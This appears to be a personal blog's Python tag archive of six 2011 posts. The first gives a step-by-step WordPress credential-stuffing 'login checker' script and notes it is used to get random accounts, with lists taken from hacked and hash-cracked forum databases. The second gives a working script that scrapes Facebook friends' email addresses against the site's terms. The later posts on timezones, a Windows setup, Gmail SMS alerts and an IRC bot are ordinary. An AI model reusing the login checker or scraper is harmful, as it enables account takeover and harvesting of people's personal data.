Tag Archive > python

Login Checking

» 22 September 2011 » In Internet, Programming, Python, Security » 3 Comments

For so many years, I’ve been using login checkers. Mainly, these scripts aims to recover forgotten passwords. But from experience, people like to use these to get random accounts. For as long as there’s no captcha involved, login checking is possible. Let me show you an example how to make one.

WARNING: The procedure below is somewhat illegal (sense). Proceed at your own risk.

First is to set the target website. There are few things you need to consider on picking a website to check against.

  • No CAPTCHA
  • Login attempts are not limited
  • Webserver can take consecutive requests

CAPTCHAs can greatly block login checking. Though there are many ways to bypass them, large amount of work and integration is required. Also, if the login attempts are limited, we will not be able to accomplish, especially if our list size is greater than the maximum attempt count. And this may crash the target webserver, so extra care is required.

You also need a user-pass list, or just a password list. The most effective format would be in user:pass format, separated by newlines. In the past, we get unique content from forum databases. We’ve been hacking forums of different kinds using public exploits, extracting their user database, parsing them to user:hash:salt:email format, and running them into a hash cracker like PasswordsPro. Usually in a 100k user database, we get the ~20%, and its a pretty big amount of user:pass list.

A software that sniffs and captures http headers is also required. I recommend the Live HTTP Headers addon in firefox. This addon is extremely helpful in our side. Instead of examining the HTML form, we can just run a sample login and capture the data.

For this example, we will target my own wordpress login page. Don’t worry, I will create a user account for this testing (and will delete afterwards). The first thing you need to do is fire up the Live HTTP Headers plugin from firefox, and please close all other tabs or windows that makes requests over time, so it will not interfere with our header catching.

Live HTTP Headers

Live HTTP Headers

Next is to make a dummy login request. This is not a real user account, but this step will help us a lot. Now, this is how it will look like:

Dummy Login

Dummy Login

And if we will go back to our Live HTTP Header window, we will see that the POST request we made was captured.

Captured POST Request

Captured POST Request

From here, we can get enough information, but to see things more clearly, hit the Replay button.

Live HTTP Headers Replay

Live HTTP Headers Replay

There, we can see the POST URL and data that was passed. And of course, there are optional fields (how did I know this? trial and error) is POST data. In this case, we will only use:

log=testuser&pwd=testpass&wp-submit=Log+In

Now we go back to the login page. The key to knowing the user has logged in is on the error message. Yes, this is the easiest way to determine that it was a success. Although in some sites, there are different error messages. You can define them all through testing.

But why not a unique string from the dashboard, or from the page where the browser goes to when the login is successful? The problem here is, in some websites like wordpress, the browser is redirected to a certain page when the login is successful. It can be javascript redirect or header redirects. And in header redirects, cookies must be enabled, and for a simple script like the one we’re going to build, we try not to deal with cookies, plus, navigating to another page slows down the process.

In wordpress’ login page, there are several error messages. But what we’re going to look at, is a string or html code that was not present in the original login page, and the html response when the user is logged in successfully. And I believe, in this example, it would be: <div id="login_error"></div>.

Next, we should have our user list. We will create a 4 line userlist. I already created a user with credentials someuser:mypassword in my wordpress database as a subscriber, and we will input this in our list at line 3 so that we will know if our checker works. Here’s our account list, and we’ll store it in accounts.txt

user1:somepass
dummyuser:password2
someuser:mypassword
anotherone:itsnotme

Now lets build a simple python code to test all. First are the import statements.

import sys
import urllib2
import urllib
import os

sys is for the arguments, urllib2 for the http requests, urllib for the urlencode() method, and os for file existence checking.

And then of course, our entry point condition.

if __name__ == '__main__':
	main(sys.argv[1:])

The first thing we need to do in our main method is check for the filename argument.

if len(argv) == 0:
	'''
		Check if the there's no filename argument
	'''
	print 'No filename for dictionary specified.'
	sys.exit()
elif not os.path.isfile(argv[0]):
	'''
		Check if the file does not exist
	'''
	print '%s does not exist.' % argv[0]
	sys.exit()

Then we need to specify the baseurl of the target wordpress host. This includes the directory (if any) where the index page of wordpress resides without the trailing slash.

baseurl = 'http://somesite.com/blog'

Next is load the file line by line, and separate the user and password into different variables.

file = open(argv[0], 'r')
for line in file:
	'''
		Read line by line
	'''
	user, passw = line.strip().split(':')

And we will define our post data, and based on what we got from the request replay.

log=testuser&pwd=testpass&wp-submit=Log+In

We will be breaking this down into a dict, separating the field name from the value, and URL encode them. Then we make the request and store the response HTML to a variable.

data = urllib.urlencode({ 'log' : user, 'pwd' : passw, 'wp-submit' : 'Log+In' })
response = urllib2.urlopen('%s/wp-login.php' % baseurl, data)
html = response.read()

The next part is the checking. We will check for the occurrence of the string <div id="login_error"></div> in the response HTML. If it’s there, then our log in was invalid. And if its not there, then we have a valid account. The best way to remember the valid accounts is by putting it into a separate text file.

if '<div id="login_error">' in html:
	'''
		Check if response HTML has error
	'''
	print '%s:%s - INVALID' % (user, passw)
else:
	print '%s:%s - VALID' % (user, passw)
	save = open('valid.txt', 'a+')
	save.write("%s:%s\n" % (user, passw))
	save.close()

Lastly, outside the loop, close the file handle.

file.close()

Now let’s run shall we?

# python wploginchecker.py accounts.txt
user1:somepass - INVALID
dummyuser:password2 - INVALID
someuser:mypassword - VALID
anotherone:itsnotme - INVALID

And there you go, the checker is all working. You can fork the code in github if you want. That’s all.

Continue reading...

Tags: , , , , ,

Scrape Your Facebook Friends’ Emails with Python

» 03 March 2011 » In Internet, Open-Source, Programming, Python » 34 Comments

This is an update of an earlier post about Facebook contact info scraping.

DISCLAIMER: This is against Facebook TOS . Use at your own risk.

It’s been so, so long since I posted something here. And if you missed me, I apologize for that. Well never mind the previous statement. This is an update of the Facebook contact info scraper in python. The old one stopped working when Facebook updated their User Interface. And I must tell you, that this is the greatest drawback of writing a scraper that relies on regular expressions.

Yes, using regular expressions with scrapers is pretty much a bad idea, but for tools like this, an exception must be made. Most programming languages nowadays do not include good enough HTML parsers. But why? Yes there are available libraries/modules, like Beautiful Soup in Python. It’s a powerful module, but for this script, it was way too powerful. Regular expressions however, is just right, in my opinion. As this script doesn’t require heavy parsing. Of course there will be fellow coders that will disagree with this paragraph, you’re very much welcome, and let me hear you on the comments. :)

What will be the changes for this one? Actually the script will be using a bit of the Graph API. Too bad it doesn’t provide email information about your friends. Actually it provides email information, but a special permission is required. We will be using the Graph API to get the complete list of our Facebook friends. Unlike the previous scraper, this one will be a lot faster, and more accurate on gathering friend information.

And of course, as you can see from the title, we will only be scraping the email addresses. As for the output, we will no longer use the elegant HTML/CSS report. Instead, we will generate a CSV file containing the name, and the email.

Here’s the python code:

#!/usr/bin/python

'''
	InFB - Information Facebook
	Usage: infb.py user@domain.tld password

http://ruel.me

	Copyright (c) 2011, Ruel Pagayon
	All rights reserved.

	Redistribution and use in source and binary forms, with or without
	modification, are permitted provided that the following conditions are met:
		* Redistributions of source code must retain the above copyright
		  notice, this list of conditions and the following disclaimer.
		* Redistributions in binary form must reproduce the above copyright
		  notice, this list of conditions and the following disclaimer in the
		  documentation and/or other materials provided with the distribution.
		* Neither the name of the author nor the names of its contributors 
		  may be used to endorse or promote products derived from this software 
		  without specific prior written permission.

	THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ANY 
	EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
	WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
	DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 
	INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
	LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, 
	OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
	LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE 
	OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 
	ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''

import sys
import re
import urllib
import urllib2
import cookielib
import csv
import json

def main():
	# Check the arguments
	if len(sys.argv) != 3:
		usage()
	user = sys.argv[1]
	passw = sys.argv[2]
	
	# Initialize the needed modules
	CHandler = urllib2.HTTPCookieProcessor(cookielib.CookieJar())
	browser = urllib2.build_opener(CHandler)
	browser.addheaders = [('User-agent', 'InFB - ruel@ruel.me - http://ruel.me')]
	urllib2.install_opener(browser)
	
	
	# Initialize the cookies and get the post_form_data
	print 'Initializing..'
	res = browser.open('http://m.facebook.com/index.php')
	mxt = re.search('name="post_form_id" value="(\w+)"', res.read())
	pfi = mxt.group(1)
	print 'Using PFI: %s' % pfi
	res.close()
	
	# Initialize the POST data
	data = urllib.urlencode({
		'lsd'				: '',
		'post_form_id'		: pfi,
		'charset_test' 		: urllib.unquote_plus('%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84'),
		'email'				: user,
		'pass'				: passw,
		'login'				: 'Login'
	})
	
	# Login to Facebook
	print 'Logging in to account ' + user
	res = browser.open('https://www.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2Findex.php&refid=8', data)
	rcode = res.code
	if not re.search('Logout', res.read()):
		print 'Login Failed'
		
		# For Debugging (when failed login)
		fh = open('debug.html', 'w')
		fh.write(res.read())
		fh.close
		
		# Exit the execution :(
		exit(2)
	res.close()
	
	# Get Access Token
	res = browser.open('http://developers.facebook.com/docs/reference/api')
	conft = res.read()
	mat = re.search('access_token=(.*?)"', conft)
	acct = mat.group(1)
	print 'Using access token: %s' % acct
	
	# Get friend's ID
	res = browser.open('https://graph.facebook.com/me/friends?access_token=%s' % acct)
	fres = res.read()
	jdata = json.loads(fres)
	
	# Initialize the CSV writer
	fbwriter = csv.writer(open('%s.csv' % user, 'ab'), delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
	
	# God for each ID in the JSON response
	for acc in jdata['data']:
		fid = acc['id']
		fname = acc['name']
		
		# Go to ID's profile
		res = browser.open('http://m.facebook.com/profile.php?id=%s&v=info&refid=17' % fid)
		xma = re.search('mailto:(.*?)"', res.read())
		if xma:
			
			# Replace the html entity from the scraped information
			email = xma.group(1).replace('&#64;', '@')
			
			# In case there will be weird characters, repr() will help us.
			try:
				print fname, email
			except:
				print repr(fname), repr(email)
				
			# Write to CSV, again with repr() if something weird prints out.
			try:
				fbwriter.writerow([fname, email])
			except:
				fbwriter.writerow([repr(fname), repr(email)])
	
	
def usage():
	'''
		Usage: infb.py user@domain.tld password
	'''
	print 'Usage: ' + sys.argv[0] + ' user@domain.tld password'
	sys.exit(1)
	
if __name__ == '__main__':
	main()

I’ve also updated the gist, so you can fork it anytime here.

Yes, it’s tested and working (for now). In the future this will pretty much stop working again, and I’ll be updating it so do not worry. And again, use this at your own risk. If you have questions/comments regarding this script, don’t hesitate to comment below.

Best Regards.

Continue reading...

Tags: , , , , ,

Getting Time from an IP Address with Python

» 10 February 2011 » In Internet, Programming, Python » 4 Comments

There are many ways to obtain the current timezone from an IP Address. One is by using a database, and looking up the address. This is an effective way, but the database must be updated frequently. Another way is by using an API that displays location information (and timezone) from a given IP. And this is what I will show you in this post.

Actually, I built a web application that needs the visitor’s current date. And after a couple of hours of googling, I found a reliable API that can help me, IPInfoDB.

The API is pretty simple, and it’s free (registration required). To use it, just pass your API key and the IP address you want to lookup.

http://api.ipinfodb.com/v2/ip_query.php?key=<your_api_key>&ip=75.125.71.106&output=json&timezone=true

It will return something like:

{
  "Status" : "OK",
  "CountryCode" : "US",
  "CountryName" : "United States",
  "RegionCode" : "48",
  "RegionName" : "Texas",
  "City" : "Houston",
  "ZipPostalCode" : "77002",
  "Latitude" : "29.7523",
  "Longitude" : "-95.367",
  "Gmtoffset" : "-21600",
  "Dstoffset" : "0",
  "TimezoneName" : "America/Chicago",
  "Isdst" : "0",
  "Ip" : "75.125.71.106"
}

Now, it gave us enough data to accomplish our task. Well actually, the only data we need is Gmtoffset. The next thing we do is add that to the current UTC time. We can do that in Python:

>>> import datetime
>>> gmtoffset = '-21600'
>>> utctime = datetime.datetime.utcnow()
>>> utctime.strftime('%X %x')
'06:37:48 02/10/11'
>>> iptime = utctime + datetime.timedelta(0, int(gmtoffset))
>>> iptime.strftime('%X %x')
'00:37:48 02/10/11'

Take note that the GMT offset is given in seconds. And if we will convert -21600 seconds to hours, we will have exactly, -6 hours. The datetime.timedelta() method made the addition possible for us, and we just have to supply the number of seconds to add.

Continue reading...

Tags: , , , , ,

Building a Python Coding Environment in Windows

» 07 February 2011 » In Guides, Life, Programming, Python » 8 Comments

To be honest, my computer files are not organized. Yes, and you know what? Most of my scripts (Perl and Python) sits on one directory: C:\Perl64\scripts. And inside that directory, contains mixed files of Perl scripts, Python Scripts, output folders, text files, dictionaries, CSV files, etc. It’s sad that I can’t find the time motivation to organize my scripts.

Well, I came up with this pretty neat trick. I used it in Java, but for this post, I’ll be applying it in Python. I will place all of my Python scripts in my personal drive R:\ and under the folder R:\Python. Well, that sounds too simple doesn’t it? Let me expand the idea.

I’m on Windows, and yes I have ArchLinux on dual-boot, but I’ll apply this to Windows for now. One great reason why I love coding in Windows, is because I love Notepad++. Sadly, I’m not gifted with the ability to write code on Vim, or E-macs (I haven’t tried). And oh, my current Notepad++ style is Obsidian, and it’s just so comfortable to use.

Anyway, as I’ve mentioned, I’m on Windows. But for example I’m browsing on my favorite browser (Chrome), and I just had an idea for a neat, cool script. So I’ll fire up notepad++, change the language to Python, then fire up cmd, cd to my Python directory, and start to code (and debug). But wait, that sounds too long, well for me. It’s kind of boring that I have to do that repetitive process over and over again, every single day. Plus, the files is pretty much unorganized. What to do now? Well of course, hack it!

Now, let’s get back to the situation. Say I’m browsing the interwebs (with my favorite browser Chrome) and I got an idea for the script. I would normally open notepad++ first, but this time, I think it would be better to access the python directory first with cmd. The quickest way to access cmd, wherever you are, is by the Run Dialog (That’s Win+R for the noobs). Just type in cmd and you’re done. But I have to cd to my python directory, and re-enter the drive if it’s not on C:\, that’s 2 commands already! Now, we can fix this, and we need a script of course. For this one we can use a batch script. Now now, many people say that this is old school, but let’s face it, we’re on Windows.

@echo off
echo.
echo Time for some pure python awesomeness!
echo.
cmd /k "cd R:\Python && R:"

Save it with any filename you wish. For me, I saved it as pyc.bat in the Python bin folder (make the directory is included in your PATH directory), so I can just type pyc on the Run Dialog box.

We’re done on the cmd part, now for notepad++. For this, the script we’ll be using is a python script. And to start, create a new script located on the Python script folder.

#!/usr/bin/python

'''
	This script is used to create new (organized)
	Python scripts
'''

import os
import sys

def main(arg):
	fdir = arg
	arg += '.py'
	
	#Create directory for the script.
	os.mkdir(fdir)
	
	#Create the file inside the directory
	fo = open('%s\\%s' % (fdir, arg), 'w')
	#Change or add your own lines if you want.
	fo.write('#!/usr/bin/python')
	fo.close()
	
	#Open the script in Notepad++
	#If your notepad++ installation directory is different,
	#change it.
	notepad = '"C:\\Program Files (x86)\\Notepad++\\notepad++.exe" '
	os.system('%s%s\\%s' % (notepad, fdir, arg))
	os.system('cmd /k "cd "%s"' % fdir)
	
if __name__ == '__main__':
	main(sys.argv[1])

To use it, simple do something like:

R:\Python>new coolscript

And it will create a directory based on the parameter you passed, and a script inside it. And opens it in Notepad++, also it will make the cmd cd to the newly created directory. The only issue here is new.py is visible to the naked eye in the Python scripts folder. To hide the file, just do:

attrib +S +H +R new.py

And it will remain hidden (unless you chose to show system files in folder options). S means system, H means hidden, and R means read only.

TRIVIA: It’s how most malware hide themselves in Windows.

Now, we have a good, organized python coding environment in Windows. If you have any comments or suggestions, just drop a comment. Cheers!

Continue reading...

Tags: , , , ,

Using GAE Cron to get SMS Alerts from Gmail

» 06 February 2011 » In Guides, Internet, Programming, Python » 13 Comments

Who doesn’t love the free email service Gmail? I am currently using Google Apps Mail for this domain, and I got it installed in my computer, so I just have to switch windows to check messages. Most of the emails I am receiving is crucial, especially from Scriptlance. And when I am offline (either I am sleeping or I am not home), I don’t know if an email arrives, or if I should be online to respond to that email. So the solution for this? SMS alert.

I’m pretty sure there are lots of services that offer email alerts to your phone, but chances are, they are not free, and we are not sure if the login information is kept or used in something we do not like.

For this to work, there are some requirements:

  • SMS Gateway
  • Google App Engine Account
  • Google App Engine SDK (and Python 2.5 of course)
  • Your Gmail or Google Apps Mail credentials

The SMS gateway is not free in most cases, but you can use if a friend has one, just make sure it works with your carrier.

The first thing you need to do is create a GAE Application. Name it whatever you like, and on the app.yaml, add these lines:

- url: /check/mail
  script: check.py
  login: admin

Of course you can changes the url and script, but I just like to use that in this guide. Next is to create cron.yaml, and put the following lines:

cron:
- description: Check Mail
  url: /check/mail
  schedule: every 1 minutes

You can change the schedule on how frequent you like your mail to be checked. For me, I chose to check every one minute (There’s a grammatical error on the yaml file, but ignore it, it’s correct according to the syntax). That means, every minute, the script will check for unread messages and sends me a SMS message if there is one.

Next is to create a script called check.py:

#!/usr/bin/env python
'''
	Copyright (c) Ruel Pagayon <http://ruel.me>
'''

from xml.dom.minidom import parseString
from google.appengine.ext import db
import urllib2
import urllib
import base64
import sys

'''
	Change the values below.
'''
gFeed = 'https://mail.google.com/mail/feed/atom'
#gFeed = 'https://mail.google.com/a/domian.tld/feed/atom'	#For Google Apps for Mail users.

gEmail = 'user@domain.tld'
gPass = 'pass'

class Uid(db.Model):
	cont = db.StringProperty()

def sendSMS(message):
	'''
		Insert appropriate code for your SMS gateway here.
		Obviously the one below doesn't work.
		It's there to give you an insight on how it will work.
	'''
	urllib2.urlopen('http://somegateway.com:1578/?user=smsuser&password=smspass&PhoneNumber=18005669874&Text=%s' % urllib.quote(message))
	
def getNewMail(feed):
	'''
		Check for new unread mails. Use basic auth.
	'''
	request = urllib2.Request(feed)
	base64string = base64.encodestring('&s:%s' % (gEmail, gPass)).replace('\n', '')
	request.add_header("Authorization", "Basic %s" % base64string)
	'''
		Parse XML using DOM
	'''
	xdata = urllib2.urlopen(request).read()
	dom = parseString(xdata)
	count = dom.getElementsByTagName('fullcount')[0].firstChild.data
	
	'''
		Retrieve last message ID from datastore
	'''
	ouid = Uid.all()
	
	if ouid.count() != 0:
		lastId = ouid[0].cont
		
	if int(count) > 0:
		'''
			Check if there are feed entries.
			Get the ID of the latest message.
		'''
		eid = dom.getElementsByTagName('entry')[0].getElementsByTagName('id')[0].firstChild.data
		'''
			Generate report.
		'''
		message = "You got " + count + " new email(s)\n\n"
		for entry in dom.getElementsByTagName('entry'):
			'''
				Loop through each email entry
			'''
			message += "Sender: %s (%s)\n" % (entry.getElementsByTagName('name')[0].firstChild.data, entry.getElementsByTagName('email')[0].firstChild.data)
			message += "Subject: %s\n\n" % entry.getElementsByTagName('title')[0].firstChild.data
			
		if eid != lastId:
			'''
				If the last ID from the data store, 
				is different from the latest message ID,
				update the data store and
				send the SMS
			'''
			if ouid.count() != 0:
				nuid = Uid.get(ouid[0].key())
			else:
				nuid = Uid()
			nuid.cont = eid
			nuid.put()
			sendSMS(message)
		'''
			You got 1 new email(s)
			
			Sender: Someone (someone@domain.tld)
			Subject: Example Message
		'''

def main():
	getNewMail(gFeed)

if __name__ == '__main__':
	main()

Change the values that suites your needs. And the docstrings on the script pretty much explains everything, so I don’t have to repeat it here.

Now, we all know that a free GAE app has quota, and on the script, we will be using the Data Store API and the UrlFetch API, let’s do some math. The quota will reset every 24 hours. So, if you decided to check the mail every 1 minute, we got 1440 calls. And it’s not even a quarter of the limit.

Now obviously we can use the script on our webservers, the only thing that we need to change is the data store calls (GAE doesn’t allow writing to disk, so Datastore is used). But the problem here is the credentials are in plain text, and there’s a huge risk for this information to be seen by other parties. So why not just use GAE? Where only you and Google can have access. :)

Continue reading...

Tags: , , , , , ,

Progbot: A progressive IRC Bot

» 01 February 2011 » In Internet, Open-Source, Programming, Python » No Comments

One of my favorite hobbies, is writing automated bots. I can still remember my first IRC bot in Perl. It’s actually made for fun, and of course there are some exceptional capabilities. I worked with many people before, and once, we coded a multi-threaded IRC bot just to scan SQL Injection vulnerabilities. Yes, I wish I still have that code.

Progbot

I decided to write a python IRC bot. And since I’m very open to OOP nowadays, I made a class for it. The main feature of the bot is progressive learning. It learns from other people.

I’m not yet finished, and the code is still under development. And because I love writing these kind of projects, I will continue developing Progbot, and become progressive to it as well. More features will be added, and less errors.

For now, the code is dynamically capable of responding to messages. Unlike before, I still need to change the code if I want my bot to respond to some string. Now, I can just edit a text file, and save it. I do not need to re-run the script, so more time is saved. I created a file called responses.txt and if I want Progbot to respond to Hi! with a hello, I will just add:

Hello! ~ S ~ Hi!

And here’s what responses.txt looks like:

# This is the responses file. If a line has a pound (#) symbol at front, the line is ignored.
#
# The syntax for this file is:
# 	match string ~ [S|A|R] ~ string
#
#	S - PRIVMSG String
#	A - ACTION String
#	R - RAW String
#
#	NOTE: Progbot won't recognize any RAW conditions unless the source is the defined owner
#
# Example:
#	Hi! ~ S ~ Hello!
#		- Whenever you say 'Hi!', Progbot says 'Hello!' back.
#
# Special Variables:
#	%nick% 		- Source nick
#	%bnick%		- Bot nick
#	%source%	- Source Medium
#	%m%			- String Match
#

%bnick% ~ S ~ Sup %nick%?
sup ~ S ~ sup your face.
slap me ~ A ~ slaps %nick%

# Channel commands
!j %m% ~ R ~ JOIN :#%m%
!p %m% ~ R ~ PART #%m%
!p ~ R ~ PART %source%

The syntax is kinda simple, strings are separated by ~ . If you have a better suggestion, please comment. There are 3 types of response, a normal message, an action, and a raw IRC command. Raw IRC commands are only recognized if the source nick is the owner of the bot. There are also variables in this file, and you can even match strings and such.

Usage

Progbot’s initializer accepts five parameters. An example looks like:

#!/usr/bin/python

'''
	Main file, Progbot's implementation. Most of Progbot's functions
	are found on the class. So this is pretty self-explanatory.
'''

from progbot import Progbot

def main():
	'''
		I want to connect to irc.rizon.net, with the following options:
	'''
	
	ircNick 	= 'Progbot'
	ircServ 	= 'irc.rizon.net'
	ircPort 	= '6667'
	ircChan 	= '#Progbot'
	ircOwner 	= 'Ruel'
	fileName	= 'responses.txt'
	
	bot = Progbot(ircNick, ircServ, ircPort, ircChan, ircOwner)
	bot.File = fileName
	bot.Connect(True);
	
if __name__ == '__main__':
	main()

Source Code

The source code is released under GNU GPL v3, and is available here.

NOTE: I’m open for suggestions and forks!

Continue reading...

Tags: , , , , , , ,